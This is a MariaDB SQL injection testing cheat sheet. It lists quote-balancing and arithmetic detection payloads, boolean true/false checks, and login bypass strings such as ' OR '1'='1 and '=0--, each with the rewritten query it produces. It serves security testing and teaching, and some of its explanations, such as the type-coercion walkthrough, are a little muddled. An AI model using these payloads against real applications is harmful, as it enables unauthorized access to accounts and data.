mariadb

Testing Injection

Techniques for testing SQL injection vulnerabilities in MariaDB

When testing for SQL injection vulnerabilities in MariaDB databases, keep in mind:

  • False means the query is invalid (MariaDB errors/missing content on website)
  • True means the query is valid (content is displayed as usual)

String-Based Injection

Given the query:

SELECT * FROM Table WHERE id = '1';
Test PayloadResultDescription
'FalseSingle quote breaks the syntax
''TrueTwo quotes balance each other
"FalseDouble quote breaks the syntax
""TrueTwo double quotes balance each other
\FalseBackslash breaks the syntax
\\TrueTwo backslashes balance each other

Note: Backslash escaping depends on the sql_mode setting. When NO_BACKSLASH_ESCAPES is enabled, backslashes are treated as literal characters rather than escape sequences. Verify @@sql_mode before relying on these examples.

Double Quotes as String Delimiters

MariaDB allows double quotes for string values (unlike strict ANSI SQL mode):

SELECT * FROM users WHERE id = "1"

Quote Escaping

Quotes escape themselves inside strings:

SELECT 'it''s working' AS result
-- Returns: it's working

Examples

SELECT * FROM Articles WHERE id = '1''';
SELECT 1 FROM dual WHERE 1 = '1'''''''''''''UNION SELECT '2';

Notes

  • You can use as many apostrophes and quotations as you want as long as they pair up
  • It is also possible to continue the statement after the chain of quotes
  • Quotes escape quotes (single quote escaped by another single quote)

Numeric-Based Injection

Given the query:

SELECT * FROM Table WHERE id = 1;

Note: Rows marked with - in the Result column test whether arithmetic expressions are evaluated rather than returning True/False. Compare the returned value against expected results to detect injection.

Test PayloadResultDescription
AND 1TrueLogical truth maintains query validity
AND 0FalseLogical false invalidates the query
AND trueTrueLogical truth maintains query validity
AND falseFalseLogical false invalidates the query
1-false-Returns 1 if expression evaluated (false=0, so 1-0=1)
1-true-Returns 0 if expression evaluated (true=1, so 1-1=0)
1*56-Returns 56 if expression evaluated, 1 if literal

Boolean Values

In MariaDB, boolean values are integers:

SELECT true = 1 AS result   -- Returns: 1 (true)
SELECT false = 0 AS result  -- Returns: 1 (true)

Arithmetic in WHERE Clause

SELECT * FROM Users WHERE id = 3-2;
-- Returns user with id = 1

Notes

  • true is equal to 1
  • false is equal to 0
  • Arithmetic expressions are evaluated before comparison

Boolean-Based Detection

Testing if injection exists by comparing true and false conditions:

AND 1=1 vs AND 1=2

-- True condition - returns results
SELECT * FROM users WHERE id = 1 AND 1=1

-- False condition - returns no results
SELECT * FROM users WHERE id = 1 AND 1=2

If the application behaves differently between these two queries, injection is confirmed.

OR 1=1 Returns All Rows

SELECT * FROM users WHERE id = 999 OR 1=1
-- Returns all users regardless of the non-existent id

String Comparisons

SELECT * FROM users WHERE '1'='1'  -- Returns all rows (true condition)
SELECT * FROM users WHERE '1'='2'  -- Returns no rows (false condition)

Login Bypass Techniques

Given the query:

SELECT * FROM users WHERE username = '{input}' AND password = '{pass}';
Test PayloadDescription
' OR '1'='1Balanced quotes: closes string, adds OR true, query’s closing quote completes the pair
' OR 1 -- -OR 1 (always true), -- comments out rest; trailing - ensures space after --
" OR "" = "Double quote variant: "" = " evaluates to true (empty string equals empty)
" OR 1 = 1 -- -Double quote with comment: works if server uses double-quoted strings
'='Becomes WHERE col = ''='' → empty string equals empty string → true
'LIKE'Becomes WHERE col = '' LIKE '' → empty string LIKE empty pattern → true
'=0--Type coercion: ''=0 → empty string coerced to 0 → 0=0 → true; -- comments out rest

Unclosed Quote Injection

The final closing quote from the SQL query structure can absorb an unclosed quote:

-- Injection: ' OR '1'='1' --
-- Original query template: SELECT * FROM users WHERE username = '{input}' AND password = ''

-- After injection:
SELECT * FROM users WHERE username = '' OR '1'='1' -- ' AND password = ''

-- Effective query (password clause is commented out):
SELECT * FROM users WHERE username = '' OR '1'='1'
-- Result: Returns all users since '1'='1' is always true

Classic OR Injection in Password Field

Inject in the password field while using a valid username:

-- Username: admin
-- Password: ' OR '' = '
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '' = '';
-- The OR '' = '' is always true

OR 1=1 with Comment

-- Injection: ' OR 1=1 --
-- Note: The -- comment requires a trailing space to work in MariaDB/MySQL.
-- Some references use "-- -" where the extra dash ensures the space is visible.

-- After injection:
SELECT * FROM users WHERE username = '' OR 1=1 -- ' AND password = ''

-- Effective query (everything after -- is ignored):
SELECT * FROM users WHERE username = '' OR 1=1
-- Result: Returns all users; typically first user is admin

Type Coercion Bypass

-- Injection: '=0--
-- Original: WHERE username = '{input}' AND password = ''

-- After injection:
SELECT * FROM users WHERE username = ''=0-- ' AND password = ''

-- Effective query (after -- comment removes the rest):
SELECT * FROM users WHERE username = ''=0

-- How it works:
-- 1. ''=0 compares empty string to 0
-- 2. In MariaDB, '' is coerced to 0 when compared to a number
-- 3. 0=0 evaluates to 1 (true)
-- 4. So the WHERE clause becomes: WHERE username = 1
-- 5. This returns any user where username coerces to 1 (or all if evaluated as boolean)

Balanced Quote Injection

-- Injection: ' OR '1'='1' --
SELECT * FROM users WHERE username = '' OR '1'='1' -- ' AND password = ''